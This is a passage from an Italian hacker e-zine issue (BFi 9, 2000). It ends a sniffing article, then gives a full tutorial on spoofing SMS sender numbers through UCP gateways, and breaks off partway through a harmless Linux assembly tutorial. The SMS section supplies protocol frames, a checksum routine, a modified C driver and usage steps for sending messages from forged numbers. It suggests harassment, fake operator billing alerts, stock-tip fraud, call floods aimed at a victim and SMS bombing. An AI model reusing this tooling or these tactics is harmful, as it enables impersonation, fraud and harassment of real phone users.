sovraccaricata. E` evidente che siccome non esistono tools dovete farlo a manovella :)) (o magari ne parlero` con bind per la versione 1.0 di sentinel). E` tutto :) E ringrazio pIG che mi ha segnalato gli errori nell'articolo e perche` senza di lui avrei scritto promiscuo con la "q" fino alla fine... :) Letture attinenti al progetto o fatte in contemporanea alle elucubrazioni: (1) README di sentinel (2) codice di sentinel (3) "storia della torutura" - edizione mondadori (4) documenti dei l0pth riguardo l'antisniffing, ma dopo le 3 letture precendenti praticamente non servono piu`. vecna ============================================================================== ---------------------------------[ EOF 14/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-150100644000000000000000000005751607204353130011355 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 15 di 21 ]------------ ============================================================================== -[ PHREACKING ]--------------------------------------------------------------- ---[ SMS SP00FiNG E 0LTRE -----[ Jack McKrak Come tutti sanno, gli SMS sono quei simpatici agglomerati di 160 caratteri che vagano per la rete GSM. Allegri, teneri, cattivi, pesanti o rompikazzo, questa massa di bit entra sempre piu' spesso nella nostra vita. La gente normale si fida degli sms. Se arriva un messaggio da "MARCO CELL" allora significa che sicuramente l'ha inviato il cellulare di Marco. Ma ne siamo cosi' sicuri? Esiste il modo di contraffare il numero del mittente di un SMS? La risposta (che potete gia' intuire dal titolo) la troverete nelle prossime righe. Ma prima parliamo un po' delle conseguenze. Cosa si puo' fare con un SMS spoofato ovvero con un sms con il numero del mittente scelto da noi? Il fatto che normalmente sia impossibile modificare il numero sorgente di un messaggio trasforma tutto quello che arriva attraverso un sms in oro colato. Situazione: due conoscenti, preferibilmente facili all'inkazzatura, e due cellulari. A ciascuno dei due mandate un messaggio con il numero dell'altro come mittente e con scritte sopra le peggiori offese che vi vengono in mente. Risultato: i due si scanneranno telefonicamente per circa un'ora e poi dovrete intervenire per spiegare lo scherzo, perche' rischierete che si degeneri nella rissa, visto che tutti e due penseranno che sia l'altro a fare il coglione. Ma questo e' uno scherzetto banale. Una cosa un po' piu' cattiva e' prendere come vittima una bella coppietta... quelle che sono solite mandarsi tanti sms teneri e sdolcinati... e spedire a uno dei due con il num dell'altro una bella frase presa dal peggiore film porno amatoriale. Oppure se un vostro amico ha Omnitel, mandare un messaggio dal numero 2010 con scritto "Addebito SMS L 124000", sul momento vi assicuro gli viene un colpo al cuore. Sono cose divertenti, ma pensandoci mi inquieta quanto ci puo' condizionare la tecnologia e quanto spesso riteniamo indiscutibile un'informazione solo perche' ce la trasmette un qualche apparato di cui non conosciamo nemmeno il funzionamento. Inconsciamente abbiamo un senso di fiducia, convinti che l'ipocrisia sia una caratteristica solo delle parole che escono da una bocca umana. Non considero poi casi ben peggiori, cose che sinceramente non auguro neanche al mio peggior nemico. Tipo mandare un messaggio a una coppia gia' in crisi con una frase "Non ti voglio piu'... ti chiamo dopo, ma sento che e' finita" penso che se capitasse a me e fossi ignaro della possibilita' di forgiare sms fasulli, cadrei in uno sconforto piu' totale, quelle sensazioni che ti gelano il sangue... e perche'? Perche' ti sei fidato di uno strumento che qualcuno ha manovrato, magari una persona che ti odia perche' gli hai tirato giu' la botnet sul canale #pippaioli... harggg... E pensiamo poi a qualcosa di piu' criminale, forse solo piu' improbabile, ma non impossibile. Alcuni ricevono gli aggiornamenti dell'andamento dei titoli in borsa via sms. Io comincio a mandare sms fasulli con il titolo "skrokkoni srl" che sale del 10%. Magari questa persona fa' un investimento di milioni, ci perde e invece io ci guadagno. E poi il giorno dopo questa cosa viene fuori sui giornali e tutti si stupiscono... e poi si stanziano 4 miliardi di dollari per il terrorismo informatico... e poi arrivano i comunicati stampa... e poi andate tutti a cagare! Perche' queste cose si sanno da sempre, solo che l'ingegnere occhialuto che fa notare il particolare al capo, ovvero che il servizio taldeitali puo' essere FACILMENTE abusato da qualche malintenzionato, si sente ripetere "si', ma dai, adesso ci mettiamo a spendere degli altri soldi... ma chi vuoi che ci pensi?". Pronunciate queste parole, quasi per magia, un 15enne del Nebraska, a migliaia di kilometri di distanza, viene mollato dalla ragazza e decide di dichiarare il suo disprezzo per il mondo facendo casini in giro... trova proprio quel dettaglio e trasforma quella piccola imperfezione nella causa del collasso di tutto il sistema. E c'e' solo da ringraziare che sia un 15enne e non un vero malintenzionato! OK, forse l'ho fatta troppo tragica, ma sono stufo di vedere giornali e televisioni che strippano davanti a casini combinati per problemi conosciuti da tempo, ma taciuti o per superficialita' o semplicemente per nasconderli. Adesso che mi sono sfogato passiamo alla parte tecnica. Spesso gli operatori di telefonia mobile offrono il servizio di invio sms tramite appositi SMS-Gateway raggiungibili via modem. Sono la stessa cosa dei vari servizi presenti su internet, solo che in questo caso non devi compilare una form web, ma ti colleghi via telefono e ottieni il servizio attraverso un protocollo di comunicazione. E' un'attimo un piu' laborioso, c'e' da fare una telefonata e utilizzare un programma adatto, pero' questo sistema ha diversi vantaggi che cerchero' di spiegare. Cerchiamo prima di tutto di dare un'occhiata al protocollo usato in queste occasioni. Da quello che ho potuto vedere se ne usano principalmente due: il TAP e l'UCP. Io mi sono guardato solo l'UCP perche' e' piu' rapido e intuitivo. In sintesi nel protocollo UCP (Universal Computer Protocol... che nome del cazzo) si invia una trama formattata in questo modo: HDR DATA CRC dove e sono i caratteri di start-stop rispettivamente 02h e 03h. L'header (HDR) contiene alcuni sottocampi separati dal carattere '/' TRN/LNG/OR/OPN TRN [2 NUMERIC CHAR] e' il numero della transizione (casuale) e varia fra 0 e 99 LNG [5 NUMERIC CHAR] la lunghezza della trama ovvero quanti caratteri ci sono fra e OR [1 CHAR] puo' essere il carattere 'O' che indica la richiesta di servizio o il carattere 'R' che indica risposta a una richiesta OT [2 NUMERIC CHAR] e' il codice dell'operazione richiesta ed e' il parametro piu' interessante. La lista dei servizi e' elencata (come del resto tutti gli altri parametri tecnici) nel doc di definizione del protocollo UCP che e' compreso nel documento "ETS 133-3" prodotto dall'ETSI, ovvero l'ente che in europa si occupa di gran parte degli standard in materia di telecomunicazioni. I servizi piu' interessanti alla fine pero' sono due: lo 01 e lo 02. 01 Invio di un singolo SMS 02 Invio di un SMS multiplo Esempio di header 01/00020/O/01 Il campo DATA varia da servizio a servizio. Per lo 01 e' composto da questi sottocampi: AdC/OAdC/OAC/MT/AMsg AdC [STRING OF NUM CHAR] E' il numero del destinatario del messaggio visto che di solito i gateway sono fuori dall'italia il numero e' meglio scriverlo ad esempio come: 0039347000000 dove 0039 e' sempre presente OAdC [STRING OF NUM CHAR] E qui casca l'asino! Questo e' il numero sorgente del messaggio! Qui potete metterci qualsiasi serie di caratteri fra 0 e 9. Anche tipo 666 o 123456 o 0000000. Se pero' notate i messaggi autentici indicano il numero del mittente come +39ecc. Purtroppo il '+' non si riesce a mettere e i vostri messaggi al massimo possono arrivare da un 0039ecc. OAC [STRING OF CHAR] Codice di autentificazione del mittente. Non so a che cazzo serva. Va lasciato in bianco. MT [1 NUM CHAR] Tipo di messaggio. Qui va messo sempre 3 che indica un messaggio alfanumerico. AMsg [STRING OF CHAR] Il messaggio vero e proprio. Per l'AMsg va fatta una piccola digressione. Il testo non e' scritto in chiaro, ma va codificato in stringhe IA5. Sembra una cosa cazzuta, invece semplicemente si tratta di scrivere i caratteri con la loro codifica ascii invece che in chiaro. Questo perche' quei pippaioli degli ingegneri che hanno redatto il protocollo volevano inserire un controllo di errore in piu' visto che per inviare un carattere cosi' bisogna mandarne due. Cosa forse inutile, visto che l'ultimo campo CRC e' un controllo di errore. Questo paramentro sono due caratteri che costituiscono un numero in esadecimale. Il numero si ottiene prendendo le ultime due cifre significative (esadecimali) o della somma di tutti i caratteri che compongono header e data. Ecco la procedura che fa questa somma void UCP_generate_checksum(char *buf, char *crc) { char *ptr; int j; j = 0; for (ptr = buf; *ptr != '\0'; ptr++) { j += *ptr; if (j >= 256) { j -= 256; } } sprintf(crc,"%02X", j); } Dunque se noi volessimo mandare un sms al numero 0039347123456 da numero 666 con testo "Satana ti vede" ecco cosa dovremmo comunicare al nostro gateway di fiducia. 01/00066/O/01/0039347123456/666//3/536174616E612074692076656465/F6 -----| HEADER | DATA (S a t a n a t i v e d e)|CRC|--- Se la nostra query e' stata accettata il gateway rispondera piu' o meno cosi' 01/00045/R/01/A/0039347123456:090800114008/A0 la vostra richiesta e' in questo momento nello stack del server che dopo poco la inoltrera' alla rete GSM che la smistera' fino alla stazione base a cui e' collegato il cellulare del destinatario dove verra' sparato via etere. Tutto questo nel giro di 10 secondi se non ci sono intasamenti nel gateway o nella rete GSM. Ma come vi ho accennato c'e' anche un servizio 02 che e' molto interessante. Dipende da gateway a gateway, solo alcuni ve lo lasceranno usare visto che e' un'opzione che impiega parecchie risorse. Se e' attivo avete infatti la possibilita' di inviare fino a 20 sms in un'unica botta, ovvero il famoso sms multiplo. Inviare lo stesso messaggio a 20 persone diverse puo' essere utile? Non lo so, ma si possono fare tante cose divertenti. Esempio. Prendete una lista di 20 numeri di cell fra amici e conoscenti possibilemente singles. Prendete un vostro amico a cui volete fare un scherzo. Mandate un sms multiplo ai 20 numeri con numero sorgente il cell della vittima e con scritto: "Un nostro amico comune mi ha dato il tuo numero. Mi piaci molto e vorrei conoscerti. Ti dice qualcosa il 3 luglio ?" Nonostante il 3 luglio non sia successo un cazzo io sarei comunque curioso di sapere chi e' questo soggetto/soggetta e chiamerei il numero. Ma chi chiamo in realta'? Il numero della vittima ignara di tutto che si subisce 20 telefonate nel giro di pochi minuti! Dunque cosa ho ottenuto... un sms smurf!! :)) Veramente troppo divertente. Se invece vogliamo fare piu' una cosa da DoS puro invece di mandare al gateway una lista di 20 numeri diversi, mandiamo un sms multiplo con 20 numeri tutti uguali. Cosa succede? Il gateway non si accorge che i numeri sono tutti uguali e piazza nello stack tutti i messaggi insieme senza attese. In circa 1 minuto il cellulare della vittima verra' bombardato da 20 sms filati, opure 40 se facciamo 2 chiamate e cosi' via... in sintesi vi assicuro che mandate in sklero il povero individuo che ricevera' questo sms bombing. Da usare con cura anche perche' magari si inkazza sul serio... e poi magari il gestore del server sms si rompe il cazzo e dopo nessuno fa piu' niente... Il campo DATA del servizio 02 e' il seguente: NPL/RAd:s/OAdC/OAC/MT/AMsg NPL [STRING OF NUM CHAR] indica quanti sono gli sms da inviare e corrisponde ai numeri di telefono che seguiranno dopo, ovvero se e' 3 dopo dovremmo inserire 3 numeri di destinatari RAd:s[STRING OF NUM CHAR] lista dei numeri dei destinatari. Vanno semparati sempre con il carattere '/'. Esempio '0039347123456/0039347543210/0039347234765' OAdC [STRING OF NUM CHAR] come sopra OAC [STRING OF CHAR] come sopra MT [1 NUM CHAR] come sopra AMsg [STRING OF CHAR] come sopra Ora, ma io come ci parlo con il server? Be' ci sono mille modi, potete usare qualche programmino scritto da voi, emulatori di terminale, qualsiasi cosa spari dei caratteri su una connessione aperta con un modem. Io con ISDN ho usato la possibilita' di sfruttare l'emulazione AT e ho trovato un programmino davvero ben fatto che si chiama sms_client (http://www.styx.demon.co.uk) adatto al nostro scopo. Ok, non proprio adatto, con quello potete mandare sms attraverso gateway, ma non usare tutte le possibilita' offerte dall'UCP e viste poco sopra. Per lasciare piu' liberta' di azione ho modificato leggermete questo programma. Vi spiego la mia modifica e come mandare messaggi. Prima cosa. Scaricatevi il programma, il file si chiama smsclient_2.0.8r.tar.gz (http://www.styx.demon.co.uk/archive/sms_client-2.0.8r.tar.gz). Scompattate. Fate il classico make, make install e se non avete fatto casini vi troverete sotto /etc la dir 'sms' che contiene tutti i settaggi del programma. Dentro questa dir va editato il file sms_modem che contiene i settaggi del vostro modem. C'e' anche una sottodir 'services', dentro questa ci sono i file che corrispondono ai gateway sms sparsi per il mondo. Ovviamente ce ne sono solo alcuni e per giunta quelli piu' conosciuti. Questo implica che sono quelli piu' usati e che solitamente lasciano meno possibilita' di smanettare e di divertirsi. Sta a voi recuperare altri numeri di qualche gateway piu' disponibile. Spesso per fare andare il prog cambiate il '+' nel numero del gateway impostato in questi file con '00' da chiamata internazionale (okkio a non stare collegati troppo, nell 99% dei casi chiamate qualche paese estero). A questo punto vi allego il mio codice. La mia modifica e' imbecille, uno scimmione del kongo farebbe di meglio, dunque forse se avete un po' di voglia lavorateci da soli per ottenete qualcosa di piu' pratico... Quello che segue va salvato come file ucp.c <-| ucp.c |-> /* -------------------------------------------------------------------- */ /* Variante del file ucp.c per sms_client 2.0.8r by JacK McKrak */ /* -------------------------------------------------------------------- */ #include #include #include #include "common/common.h" #include "logfile/logfile.h" #include "driver.h" #include "error.h" #include "ascii.h" #include "comms/comms.h" #include "resource/resource.h" /* -------------------------------------------------------------------- */ static struct ucp_env { DRIVER_DEFAULT_ENV def; /* Place any extended driver */ /* variables here */ } driver_env; /* -------------------------------------------------------------------- */ static RESOURCE resource_list[] = { { RESOURCE_STRING, "SMS_comms_params", 0, 1, NULL, 0, "8N1", 0, &(driver_env.def.comms_params) }, { RESOURCE_STRING, "SMS_centre_number", 0, 1, NULL, 0, NULL, 0, &(driver_env.def.centre_number) }, { RESOURCE_NUMERIC, "SMS_baud", 0, 1, NULL, 0, NULL, 9600, &(driver_env.def.baud) }, { RESOURCE_NUMERIC, "SMS_deliver_timeout", 0, 0, NULL, 0, NULL, 30, &(driver_env.def.deliver_timeout) }, { RESOURCE_NUMERIC, "SMS_timeout", 0, 0, NULL, 0, NULL, 10, &(driver_env.def.timeout) }, { RESOURCE_NUMERIC, "SMS_write_timeout", 0, 0, NULL, 0, NULL, 10, &(driver_env.def.write_timeout) }, { RESOURCE_NUMERIC, "SMS_max_deliver", 0, 0, NULL, 0, NULL, 1, &(driver_env.def.max_deliver) }, { RESOURCE_NULL, NULL, 0, 1, NULL, 0, NULL, 0, NULL } }; /* -------------------------------------------------------------------- */ #define DELIVERTIMEOUT (driver_env.def.deliver_timeout) #define TIMEOUT (driver_env.def.timeout) #define WRITETIMEOUT (driver_env.def.write_timeout) /* -------------------------------------------------------------------- */ #define FD (driver_env.def.fd) /* -------------------------------------------------------------------- */ static int UCP_sendmessage(char *msisdn, char *message); static int UCP_parse_response(char *string); static void UCP_hangup(void); static char *UCP_generate_checksum(const char *fmt, ...); static char *UCP_build_message(char *msisdn, char *message); static char *UCP_build_transaction(int transaction_id, char transaction_type, int operation_type, const char *fmt, ...); /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static char *UCP_generate_checksum(const char *fmt, ...) { va_list args; static char buf[1024]; char *ptr; int j; va_start(args, fmt); #if !defined(LINUX) vsprintf(buf, fmt, args); #else vsnprintf(buf, 1024, fmt, args); #endif va_end(args); /* ------------------------ */ j = 0; for (ptr = buf; *ptr != '\0'; ptr++) { j += *ptr; if (j >= 256) { j -= 256; } } sms_snprintf(buf, 1024, "%02X", j); return buf; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static char *UCP_build_transaction(int transaction_id, char transaction_type, int operation_type, const char *fmt, ...) { va_list args; static char buf[1024]; char header[1024], data[1024], codestring[1024]; FILE *fcd; va_start(args, fmt); #if !defined(LINUX) vsprintf(data, fmt, args); #else vsnprintf(data, 1024, fmt, args); #endif va_end(args); /* ------------------------ */ fcd = fopen("codice","r"); fscanf(fcd,"%s",&codestring); fclose(fcd); sms_snprintf(header, 1024, "%02d/%05d/%c", transaction_id, sms_strlen(data) + sms_strlen(codestring) + 15, transaction_type); printf("%s/%s/%s/%s\n",header,codestring, data,UCP_generate_checksum("%s/%s/%s/",header,codestring,data)); sms_snprintf(buf, 1024, "%c%s/%s/%s/%s%c", S_STX, header, codestring, data, UCP_generate_checksum("%s/%s/%s/", header, codestring, data), S_ETX); return buf; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static char *UCP_build_message(char *msisdn, char *message) { char ia5_message[1024], *src, *dest; dest = ia5_message; for (src = message; *src != '\0'; src++) { sms_snprintf(dest, 1024, "%02X", *src); dest += 2; } return UCP_build_transaction(1, 'O', 1, "%s", ia5_message); } /* -------------------------------------------------------------------- */ /* Return Values: */ /* 0 Positive ACK */ /* 1 Negative ACK */ /* -1 Error */ /* -------------------------------------------------------------------- */ static int UCP_parse_response(char *string) { int result; int transaction, length, type, checksum; char ack, recipient[64], timestamp[64]; /* ------------------------------------------------------------ */ /* Example: */ /* 01/00045/R/01/A/0041544180972:161298112313/A6 */ /* 01/00019/R/01/A//69 */ /* ------------------------------------------------------------ */ result = sscanf(string, "\002%02d/%05d/R/%02d/%c/%16[^:]:%12s/%02X\003", &transaction, &length, &type, &ack, recipient, timestamp, &checksum); if (result != 7) { result = sscanf(string, "\002%02d/%05d/R/%02d/%c//%02X\003", &transaction, &length, &type, &ack, &checksum); if (result != 5) { return -1; } } /* ---------------------------- */ result = -1; if (ack == 'A') { result = 0; } else if (ack == 'N') { result = 1; } return result; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static int UCP_sendmessage(char *msisdn, char *message) { char buf[MAX_RESPONSE_BUFSIZE], *ucp_message; int result; ucp_message = UCP_build_message(msisdn, message); twrite(FD, ucp_message, sms_strlen(ucp_message), WRITETIMEOUT); if (expstr(FD, buf, "\03", MAX_RESPONSE_BUFSIZE, DELIVERTIMEOUT) == 0) { lprintf(LOG_STANDARD, "SMSC Respsonse: %s\n", buf); result = UCP_parse_response(buf); if (result == 0) { lprintf(LOG_STANDARD, "Received Acknowledgement\n"); } else if (result == 1) { lprintf(LOG_STANDARD, "Acknowledgement Failed\n"); UCP_hangup(); return EUCP_ACKFAILED; } else { lprintf(LOG_STANDARD, "Bad Acknowledgement\n"); UCP_hangup(); return EUCP_BADACK; } } else { lprintf(LOG_STANDARD, "No Message Response\n"); UCP_hangup(); return EUCP_NORESPONSE; } return 0; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static void UCP_hangup(void) { default_hangup((DRIVER_DEFAULT_ENV *)(&driver_env)); } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ DEVICE_ENTRY ucp_device = { "UCP", "1.0", resource_list, (DRIVER_DEFAULT_ENV *)(&driver_env), default_init, default_main, default_validate_numeric_id, default_dial, default_hangup, default_send_disconnect, default_single_deliver, UCP_sendmessage, default_login }; <-X-> Creato il file ucp.c sostituitelo nella sottodirectory /src/driver del programma sms_client, deve esisterne gia' uno con questo nome. Ricompilate. Andate nella sottodir /bin dove devono esserci i nuovi file eseguibili, soprattutto il file sms_client. Ora siamo pronti per mandare un messaggio, manca solo da editare il file 'codice' Questo file e' usato dalla mia modifica di ucp.c per poter mandare comandi qualunque al gateway, senza passare dalle ridotte opzioni di sms_client. Create il file 'codice'. In questo file va messa una parte del campo HEADER e del campo DATA dell'sms che volete inviare. Dell'header solo il campo OT, del data tutto tranne AMasg. Ovvero, rifacendosi al messaggio 'Satana ti vede', dentro il file 'codice' va messa questa riga di testo: 01/0039347123456/666//3 Salva il file. Ora spostalo nella dir dove e' presente l'eseguibile sms_client e batti ./sms_client d2:0 'Satana ti vede' In questo caso Il nostro pc telefonera' al gateway di d2 (file definito nella dir /etc/sms/services) e cerchera' di mandare il messaggio secondo quello che e' scritto nel file 'codice'. Il programma vi fara' vedere cosa combina passo per passo e se tutto e' andato a buon fine qualche vostro amico potrebbe riconsiderare "L'Esorcista". Per mandare un sms multiplo il nostro file codice dovra' contenere ad esempio la riga 02/3/0039347123456/0039347543210/0039347234765/666//3 e partiranno 3 sms con un'unica chiamata. Un sms bombing sara' invece cosi' 02/20/0039347123456/0039347123456/0039347123456/0039347123456/0039347123456/ ... eccetera Ma non abusatene! Pensate a quel poveretto! OK, credo di aver detto tutto... ci sono altre mille cose che si possono fare con queste poche e scarne informazioni, dipende poi dalla vostra fantasia. Un ultima cosa... cercate di non fare casini! Se avete qualche dubbio o news scrivete alla mail di BFi, se trovo un po' di tempo saro' felice di rispondervi... Se fate qualche bello scherzo mandatemi il log che mi diverto troppo con queste storie... Azz, dimenticavo. Se qualcuno vuole cimentarsi in qualcosa di piu' cazzuto si studi come vengono codificati gli SMS che trasportano ad esempio loghi per NOKIA (guardatevi su qualche doc gli "OTA BITMAP"). Mi gioco le palle che se si formatta male il campo header di questi messaggi (tipo facendo credere che arrivi un bitmap di dimensioni spropositate o nulle) si manda quasi sicuramente in crash il cellulare di chi lo riceve... poi vi faro' sapere! Alla prossima... JacK McKrak ============================================================================== ---------------------------------[ EOF 15/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-160100644000000000000000000004013507204353163011351 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 16 di 21 ]------------ ============================================================================== -[ REVERSiNG ]---------------------------------------------------------------- ---[ ZPPP PR0JECT -----[ Ritz ZPPP Project: un semplice esercizio di Assembly coding per Linux La programmazione in Assembly sotto Linux non sembrava essere, fino a poco tempo fa, un argomento seguito da molte persone, almeno qui in Italia. Proprio per questo e' nato il RACL, Reversing & Asm Coding for Linux, che ha lo scopo di diffondere l'"arte" del reverse enginnering e asm coding riferiti a questo so. Per le varie info al riguardo rimando al sito http://racl.immagika.org . Cosa sia il reverse engineering o la programmazione in Assembly non lo spieghero' certo in questo articolo, qui infatti cerchero' di introdurre brevemente a *come* in Linux si puo' programmare in asm, portando anche un semplice esempio pratico (trovate i src completi nel zppp.tgz di questo BFi). Naturalmente, Linux e' un sistema operativo a 32-bit, il quale opera in protected mode [piccola nota: quando dico asm coding intendo sempre in architetture i32, ovvero da Intel 386 in su =) ]. Quando scriviamo un programma in asm per Linux dobbiamo prima di tutto scegliere la sintassi che desideriamo adottare (a chi proviene dalla programmazione in asm sotto win32 o dos questo aspetto risultera' probabilmente strano). Nello scrivere un listato asm da compilare e linkare proprio sotto Linux, infatti, abbiamo a disposizione 2 scelte differenti proprio nella sintassi a nostra disposizione. La prima, la classica sintassi Intel, e' quella normalmente utilizzata in win, mentre la seconda, la sintassi AT&T (quella utilizzata originariamente nei sistemi UNIX), presenta alcune caratteristiche che la differenzia da quest'ultima e la rende, secondo molti, meno ambigua, ad esempio: - In un'operazione, il registro di destinazione deve sempre essere il secondo. - Il nome dei registri e' preceduto dal simbolo "%". Ad esempio per copiare eax in ebx scriveremo al posto di mov ebx, eax (sintassi Intel) mov %eax, %ebx (sintassi AT&T). - La lunghezza dell'operando va posposta all'operazione che opera su di esso. Ad esempio, per copiare bx (word) in ax (word) si scrivera' movw %bx, %ax, per il byte si usa la lettera b, per la dword la lettera l. - Ogni operando immediato va posposto al simbolo "$" (quello di Bill Gate$), ad esempio addl $5,%eax. - Non mettere un prefisso a un operando indica che e' un indirizzo di memoria. Es. movl $ciao,%eax muove l'offset di ciao in eax, mentre movl ciao,%eax muove il contenuto di ciao (la dw da esso puntato) in eax. A seconda della sintassi con cui viene scritto il listato sorgente, si scegliera' quindi il compilatore. Nel caso sia stata scelta la classica sintassi Intel il compilatore piu' utilizzato e' il NASM, in caso contrario si potra' usare, ad esempio, il GAS (Gnu Assembler), contenuto nel GCC. Una volta che il sorgente viene compilato, bastera' semplicemente linkarlo con dei linker quali gcc o ld ottenendo come risultato finale l'eseguibile vero e proprio. Per quanto riguarda invece le classiche funzioni di i/o da console, file, etc. in Linux abbiamo a disposizione due diverse possibilita', ovvero possiamo decidere se chiamare la funzione del kernel relativa al nostro scopo o se preferiamo invece utilizzare le libc. Nel secondo caso bastera' eseguire semplici call alla relativa funzione passando i relativi argomenti nello stack, avendo l'accortezza, una volta che la funzione e' stata eseguita, di pulire lo stack stesso (in Linux e' obbligatorio farlo *sempre* dopo che si torna da una funzione). Scegliendo la prima ipotesi, invece, dovremo fare delle chiamate al kernel, e cio' in Linux avviene attraverso l'int 0x80. Prima di eseguire questo int, in eax sara' messo il numero di funzione richiesto, quindi rispettivamente in ebx, ecx, edx, esi, edi i relativi argomenti. Il valore di ritorno si trovera' in eax e non sara' utilizzato lo stack. E' cmq buona norma non mettere in eax direttamente il numero della funzione, poiche' tali numeri con le successive versioni dei kernel possono variare, ma utilizzare invece nomi che le identifichino, quali sys_write o sys_exit. Ma veniamo ora ad un esempio pratico: il programma che spieghero' di seguito e' un semplice tool che serve a configurare una connessione a Internet. Esso pone all'utente varie domande, terminate le quali va a scrivere alcuni file e script di configurazione. Per scriverlo utilizzeremo la classica sintassi Intel. I src verranno compilatie con NASM e linkati con gcc. Dato che e' il primo esempio ho deciso di utilizzare sia il kernel che le libc per le chiamate varie, anche se solitamente si utilizza una delle 2. Ho anche messo direttamente i numeri delle funzioni in eax come dimostrazione. ----------------------------- global main extern printf extern scanf extern strlen NULL equ 0 ----------------------------- Prima di tutto dichiariamo l'entrypoint "main" (la funzione main() necessaria per il linker gcc) che indica il punto di inizio esecuzione del nostro codice. Fatto cio' dichiariamo le funzioni esterne delle libc che ci serviranno, nella fattispecie printf, scanf e strlen (non chiedetemi a cosa servono per favore :)) . Infine gli equates, con classico NULL = 0. ----------------------------- section .data ; ; ; qui vanno messe le varie domande da porre, i messaggi vari, e cosi' via... ; ; format db '%s',NULL handle dd NULL ; --------------------------------------------------------- optionspath db '/etc/ppp/options',NULL optionshandle dd NULL optionsbuffer db 'lock',0xA db 'defaultroute',0xA db 'noipdefault',0xA db 'modem',0xA optionsins TIMES 0x15 db NULL optionsbuffer2 db '115200',0xA db 'crtscts',0xA db 'passive',0xA db 'asyncmap 0',0xA db 'name "' optionsins2 TIMES 0x15 db NULL ; --------------------------------------------------------- pppscriptpath db '/etc/ppp/pppscript',NULL pppscripthandle dd NULL pppscriptbuffer db 'TIMEOUT 60',0xA db 'ABORT ERROR',0xA db 'ABORT BUSY',0xA db 'ABORT "NO CARRIER"',0xA db 'ABORT "NO DIALTONE"',0xA db '"" "AT&FH0"',0xA db 'OK "atdt' pppscriptins TIMES 0x15 db NULL pppscript2 db 'TIMEOUT 75',0xA db 'CONNECT',NULL ; --------------------------------------------------------- papsecretspath db '/etc/ppp/pap-secrets',NULL ppsecretshandle dd NULL papsecrets1 db '"' papsecrets TIMES 0x40 db NULL ; --------------------------------------------------------- scriptpath db '/usr/sbin/zppp',NULL scriptbuffer db '/usr/sbin/pppd -detach connect "/usr/sbin/chat -v -f /etc/ppp/pppscript"',NULL ; --------------------------------------------------------- resolvpath db '/etc/resolv.conf',NULL resolvhandle dd NULL resolv db 'search ' resolvins TIMES 0x15 db NULL resolv2 db 'nameserver ' resolvins2 TIMES 0x15 db NULL resolv3 db 'nameserver ' resolvins3 TIMES 0x15 db NULL ----------------------------- Come vedete dalla sezione .data il prg dovra' creare 5 file: /etc/ppp/options, /etc/ppp/pppscript, /etc/ppp/pap-secrets, /etc/resolv.conf e lo script di connessione, che potremo benissimo mettere in /usr/sbin/zppp. I "TIMES 0xN db NULL" equivalgono semplicemente alle dichiarazioni "db N dup(NULL)" del TASM, ovvero riempiono di NULL una quantita' N di byte. Il resto dovrebbe essere tutto chiaro. Ovviamente i contenuti dei file dovranno avere degli spazi vuoti proprio per permettere l'inserimento dei dati personali per la connessione. NOTA: i src sono stati scritti come esempio di coding, come potete vedere non ci sono sistemi di sicurezza contro overflow vari, ma non e' questo lo scopo dell'esempio. Una volta dichiarata la sezione .data possiamo mettere sotto tutti i dati inizializzati che ci serviranno. Piccola nota: i dati non inizializzati andrebbero messi a rigore in .bss, ma anche .data va bene. Ora inzia la sezione .text ----------------------------- section .text main: push dword graphic1 call printf add esp, 4 push dword head call printf add esp, 4 push dword graphic2 call printf add esp, 4 push dword copyright call printf add esp, 4 push dword explain call printf add esp, 4 push dword phone call printf add esp, 4 push dword phonebuffer push dword format call scanf add esp, 8 push dword device call printf add esp, 4 push dword devicebuffer push dword format call scanf add esp, 8 push dword user call printf add esp, 4 push dword userbuffer push dword format call scanf add esp, 8 push dword pw call printf add esp, 4 push dword pwbuffer push dword format call scanf add esp, 8 push dword domain call printf add esp, 4 push dword domainbuffer push dword format call scanf add esp, 8 push dword dns1 call printf add esp, 4 push dword dns1buffer push dword format call scanf add esp, 8 push dword dns2 call printf add esp, 4 push dword dns2buffer push dword format call scanf add esp, 8 ----------------------------- Anche qui tutto e' facilmente comprensibile: il prg infatti fa tutte le domande necessarie e aspetta la risposta da parte dell'utente. Notate SEMPRE che lo stack viene pulito con l'istro add esp. Potete farlo anche pushando lo stack in registri che non vi servono, ma qui ho preferito il primo metodo. Fatto cio' andiamo a sistemare uno a uno i file che poi saranno scritti: ----------------------------- push dword devicebuffer call strlen add esp, 4 mov dword [lendev], eax mov ecx, eax inc ecx mov byte [devicebuffer+eax], 0xA mov esi, dword devicebuffer mov edi, dword optionsins repz movsb mov ecx, 0x28 mov esi, dword optionsbuffer2 mov edi, dword optionsins add edi, dword [lendev] inc edi repz movsb push dword userbuffer call strlen mov dword [lenuser], eax mov byte [userbuffer+eax], '"' mov ecx, eax inc ecx mov esi, dword userbuffer mov edi, dword optionsins add edi, 0x29 add edi, dword [lendev] repz movsb mov eax, dword optionsbuffer add eax, 0x4E add eax, dword [lendev] add eax, dword [lenuser] mov dword [eax], NULL ----------------------------- Per fare tutte queste operazioni come vedete bisogna fare un po' di taglio e cucito;) nel senso che i byte dei buffer non si trovano tutti al loro posto, anzi, quindi repz movsb vari. Come avrete gia' notato, nel NASM per muovere un offset in un registro si scrive "mov reg, dword buffer", mentre per muovere il contenuto del buffer in questione nello stesso registro si scrive "mov reg, dword [buffer]". Un po' diverso anche qui da TASM o MASM. Inoltre, viene accettato il prefisso 0x per indicare i valori hex. Dopo che i byte sono stati tutti allineati correttamente e il buffer e' pronto per essere scritto nel file, vengono eseguite le ultime 5 istruzioni del blocco sopra presentato, che hanno lo scopo di mettere byte NULL alla fine del buffer per questioni di sicurezza nel caso in cui essi non fossero gia' presenti perche' sono stati sovrascritti nelle operazioni di "allineamento". Le stesse operazioni vanno fatte anche per tutti gli altri file: ----------------------------- push dword phonebuffer call strlen mov dword [lenphone], eax add esp, 4 mov byte [phonebuffer+eax], '"' mov byte [phonebuffer+eax+1], 